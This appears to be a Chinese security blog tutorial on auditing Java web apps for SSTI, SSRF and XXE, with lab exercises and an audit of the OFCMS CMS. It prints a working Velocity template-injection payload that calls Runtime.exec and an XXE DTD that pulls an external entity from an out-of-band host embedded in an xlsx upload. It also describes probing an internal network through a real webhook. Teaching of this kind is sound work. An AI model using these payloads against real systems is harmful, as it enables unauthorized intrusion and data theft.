🌟 ❤️
作者:yueji0j1anke
首发于公号:剑客古月的安全屋
字数:1736
阅读时间: 15min
声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。合法渗透,本文章内容纯属虚构,如遇巧合,纯属意外
目录
-
前言
-
SSTI
-
SSRF
-
XXE
-
审计实战
-
总结
0x01 前言
发现前面的java安全还有一系列框架没有搭建完,遂写下该文进行补充
每个漏洞都先配以靶场,最后是实战环节,有基础师傅可以直接跳过靶场看实战
1.基础介绍
ssti,全称服务器端模版注入漏洞,在java中常见的模版有freemaker、velocity、Thymeleaf,这些模版可以动态处理用户输入参数、行为等,帮助动态渲染html页面、view层,当模版未对用户输入的数据进行严格的过滤时,就会造成rce等危害
2.velocity靶场
如下图,就是一个标准的引用velocity模版进行渲染
这个接口会根据template变量去对应获取模版中占位符并进行等价传递
如图所示
我们可以控制template参数传入恶意的payload从而调用命令执行函数完成我们的攻击
传入payload
ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec('calc')
0x03 SSRF
1.基础介绍
ssrf,src常客了,是指站点提供了向其它站点或服务器读取资源的功能但未对该功能接口进行严格的限制,从而导致内网探针、文件读取等攻击行为出现
在java中,对应的敏感语句有
getinputstream
urlconnection
client.executeMethod
Request.Get(url).execute()
Request.Get
Request.Post
client.execute
urlConnection.getInputStream()
Jsoup.connect
okhttp.Request.Builder()
ImageIO.read
IOUtils.toByteArray
2.实战靶场
1.举报图片读取功能存在的ssrf
这是来自于之前白盒审计的一套论坛系统,在黑盒测试其举报功能点时顺藤摸瓜找到了其源码
这套源码大致意思是
试下打dnslog
成功
0x04 XXE
1.基础介绍
这个在src挖掘中很少遇到,笔者在之前几次挖出过相关的0day,基本都是解析库相关的漏洞,这里还是给大家做个基本介绍。
xxe,全称xml实体注入,当服务器允许使用外部实体时,攻击者通过将恶意代码嵌入至xml中,使服务器解析恶意代码,从而造成的文件读取、命令执行等漏洞
xxe又分为外部实体注入和内部实体注入,dnslog外带就相当于一种外部实体注入
在java中,对应的敏感语词有
Documentbuilder
DocumentbuilderFactory
SAXReader
SAXParser
SAXParser
SAXParserFactory
SAXBuilder
TransformerFactory
reqXml
getinputStream
getoutputStream
2.靶场
以下代码为读取xlsx文件的控制器方法,但未用严格的过滤去进行迭代读取
表格形式的payload构造如下
创建一个xlsx文件并将其后缀改为zip,打开压缩文件将第一层目录的xml文件中内容换成以下payload
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://dnslog">
%remote;%int;%send;
]>
<root>&send</root>
然后重新改后缀为xlsx文件进行上传解析
0x05 审计实战
1.OFCMS
搭建参考这里
https://forum.butian.net/share/1229
后端技术栈涉及的还是之前我们教学的spring
拿到源码还是首先看看依赖
spring+mysql+freemarker+shiro
可能存在freemarker的相关模板注入或者shiro框架的相关漏洞
再看看拦截器
这里直接找到了网站的配置信息,所有的过滤器都是用shiro框架,映射admin开头的url路径,同时还用到了druid工具,这里扩大了攻击面,说明后面测试可以看看是否有shiro反序列化以及druid未授权相关的漏洞
1.sql注入
这里没有mapper层,直接搜索关键字
insert
update
select
delete
在搜索了几个关键词之后,发现一处可疑的地方
看起来像是直接获取了参数并执行sql语句,跟进看看
发现参数从传入到执行没有进行任何过滤,存在sql注入的可能性极大
寻找对应路由
随便输入,出现报错,存在报错注入
构造payload
成功注入
2.SSTI模版注入
之前我们看到了freemarker依赖,现在直接找模版文件,看是否存在相关漏洞
搜索关键字template
接受file_content参数并进行html解码,随后写入站点,并没有做过多过滤
找到相关模版路由
打入payload
随后访问index.html进行触发
3.xxe
通过搜索关键字找到相关jrxml的文件解析
大致是传递j参数值获取模版文件名并拼接,随后填充数据并转换导出xls文件,但在中间会执行compileReport该方法
追入看看是否有过滤
一直追踪到这里
看样子存在xxe的概率极高
在该目录创建文件,写入payload
随后拼接路由
http://localhost:8080/ofcms-admin/admin/reprot/expReport.html?j=ggg
成功
2.ssrf实战
对于ssrf,我基本还未在代码审计中直接遇到,大多数还是黑盒审计遇到的多,这里就直接给大家展示实战的案例了。
贴一张高清码飞图
一个webhook功能点,可以当内网探针探测内网服务,笔者探测出存在redis服务就没有深追下去了...(刑)
0x06 总结
其实SSTI和SSRF与XXE相关漏洞,更多的还是功能点与源码匹配去测试。
很多时候相关的关键词有很多,一个一个找方法随后找对应路由很费力,不如直接配合功能点对应路由找寻源码看是否存在漏洞,并配合以黑盒测试。
本期就到这里了,后期将会推出许久未更的内存马系列(bushi
原文始发于微信公众号(剑客古月的安全屋):Java安全-SSTI+SSRF+XXE实战教学
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论